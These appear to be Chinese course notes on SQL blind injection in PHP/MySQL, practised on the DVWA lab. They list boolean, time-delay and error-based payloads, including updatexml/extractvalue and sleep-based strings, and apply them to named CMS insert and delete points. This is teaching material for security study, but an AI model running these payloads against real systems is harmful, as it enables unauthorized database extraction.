【044-WEB攻防篇】PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式

前言

第四部分小迪课程采用CMS环境,我并未搭建复现,直接用DVWA靶场练习SQL盲注。后续我会专门发文详解SQL盲注知识点与实操。

新手初学没必要折腾搭建CMS、修改源码,环境配置报错多,容易消磨学习动力。建议直接用DVWA这类现成靶场,专心练SQL盲注,把精力放在漏洞原理和利用手法上即可。

最后那个时间戳,因为前三个演示案例有点混讲的,时间有点模糊,但是案例部分是正确的。


知识点:

1、PHP-MYSQL-SQL注入-方式增删改查

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理


章节点:

Web层面:Web2.0 & Web3.0

语言安全:JS,ASP,PHP,NET,Java,Python等(包含框架类)

OWTOP10:注入,文件安全,XSS,RCE,XXE,CSRF,SSRF,反序列化,未授权访问等

业务逻辑:水平垂直越权,支付签约&购买充值,找回机制,数据并发,验证码&弱口令等

特殊漏洞:JWT,CRLF,CORS,重定向,JSONP回调,域名接管,DDOS,接口枚举等

关键技术:POP链构造,JS逆向调试,NET反编译,JAVA反编译,代码解密,数据解密等

Web3.0:未待完续筹备中...


演示案例:

复制代码
PHP-MYSQL-SQL操作-增删改查
PHP-MYSQL-注入函数-布尔&报错&延迟
PHP-MYSQL-注入条件-数据回显&错误处理
PHP-MYSQL-CMS案例-插入报错&删除延时

PHP-MYSQL-SQL操作-增删改查

1、数据查询
SELECT * FROM news where id=$id

2、数据新增 (新增用户、添加新闻等)
INSERT INTO news (字段名) VALUES (数据)

3、数据删除 (删除用户、删除新闻等)
DELETE FROM news WHERE id=$id

4、数据修改 (修改用户、修改文章等)
UPDATE news SET id=$id


PHP-MYSQL-注入函数-布尔&报错&延迟

盲注:注入过程中数据无法回显至前端,需通过判断/尝试获取数据,用于解决联合查询注入无效的场景。

盲注分类

1、基于布尔的SQL盲注-逻辑判断

核心函数:regexp、like、ascii、left、ord、mid

2、基于时间的SQL盲注-延时判断

核心函数:if、sleep

3、基于报错的SQL盲注-报错回显

核心函数:floor、updatexml、extractvalue

常用Payload

  • 延迟注入
sql 复制代码
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);

注意最下面的查询时间接近10秒,可以依据这个判断数据库名。

  • 布尔注入
sql 复制代码
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
  • 报错注入
sql 复制代码
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

常用函数说明

sql 复制代码
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立返回5,反之返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1)    #从左侧截取database()名的前1位
length(database())=8  #判断数据库名长度为8
ascii(x)=97           #判断x的ascii码是否等于97

更多Payload参考:https://www.jianshu.com/p/bc35f8dd4f7c


PHP-MYSQL-注入条件-数据回显&错误处理

PHP项目注入效果取决于输出结果报错开启状态

1、延时盲注:无需回显、无需报错

sql 复制代码
and if(1=1,sleep(5),0)

2、布尔盲注:需要数据库输出判断标准

sql 复制代码
and length(database())=6

3、报错盲注:需要数据库报错处理判断标准

sql 复制代码
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

Delete注入测试

  • 删除(延迟):1 and if(1=1,sleep(5),0)
  • 删除(布尔):3 and length(database())=6(无回显无法判断)
  • 删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
  • 源码↓:

PHP-MYSQL-CMS案例-插入报错&删除延时

1、xhcms-insert报错注入

sql 复制代码
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

2、kkcms-delete延时注入

sql 复制代码
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)

Q1:为什么SQL盲注(黑盒情况),优先用延时/报错?

  1. 布尔盲注依赖页面内容差异,真实黑盒站点页面无明显对错区别、干扰多,很难判断;
  2. 报错注入能直接爆出数据,效率高;
  3. 延时注入不靠页面和报错,只看响应时间,兼容性最强,是黑盒兜底首选。

Q2: 这个代码片段,可以使用什么盲注?(报错,延时,布尔)

答:只能用延时盲注,报错和布尔盲注都不可用,原因如下:

  1. 报错盲注 ❌:代码仅提示"删除失败!",未输出数据库错误详情,无法利用报错信息获取数据。
  2. 布尔盲注 ❌ :DELETE语句只要语法正确(无论是否删除数据),mysql_query都会返回true,页面始终跳转到"删除成功",无法通过页面状态区分条件真假。
  3. 延时盲注 ✅ :可注入sleep()函数,通过页面响应时间的长短判断条件真假,不依赖页面内容或报错信息。

时间戳

  1. 文档简述 ------ 00:00:11
  2. 演示案例:PHP-MYSQL-SQL操作-增删改查 ------ 00:01:18
  3. 演示案例:PHP-MYSQL-注入函数-布尔&报错&延迟 ------ 00:12:35
  4. 演示案例:PHP-MYSQL-注入条件-数据回显&错误处理 ------ 00:28:40
  5. 演示案例:PHP-MYSQL-CMS案例-插入报错&删除延时 ------ 00:53:11

相关推荐
八号当铺1 小时前
从 Prompt 到 AI 工程化:理解 Rules、Skills 与 Agent
前端·ai编程·cursor
didadida2621 小时前
子路径部署 Vue/React 应用偶发白屏
前端·后端
invicinble1 小时前
前端框架使用vue-cli (第五层:构建打包层--总体层介绍)
前端·vue.js·前端框架
前端那点事2 小时前
Vuex刷新数据丢失?4种持久化方案全覆盖,从零到项目落地(实战完整版)
前端·vue.js
Cerrda2 小时前
性能提升 satisfying!一个 Vue3 指令干掉页面上 200 个无用 Tooltip 实例
前端·设计
漫游的渔夫2 小时前
前端开发者做 AI Agent:别只渲染答案,用 7 个状态接住确认、错误和 trace
前端·人工智能·typescript
clove2 小时前
从 LLM 到 Agent:一篇文章课带你彻底搞懂 AI 智能体的核心逻辑
前端
前端那点事2 小时前
彻底吃透JS定时器!setTimeout/setInterval区别、坑点与最优优化方案(Vue实战)
前端·vue.js
ZC跨境爬虫2 小时前
跟着 MDN 学 HTML day_27:(深入理解 HTML 属性反射机制)
前端·javascript·ui·html·音视频·媒体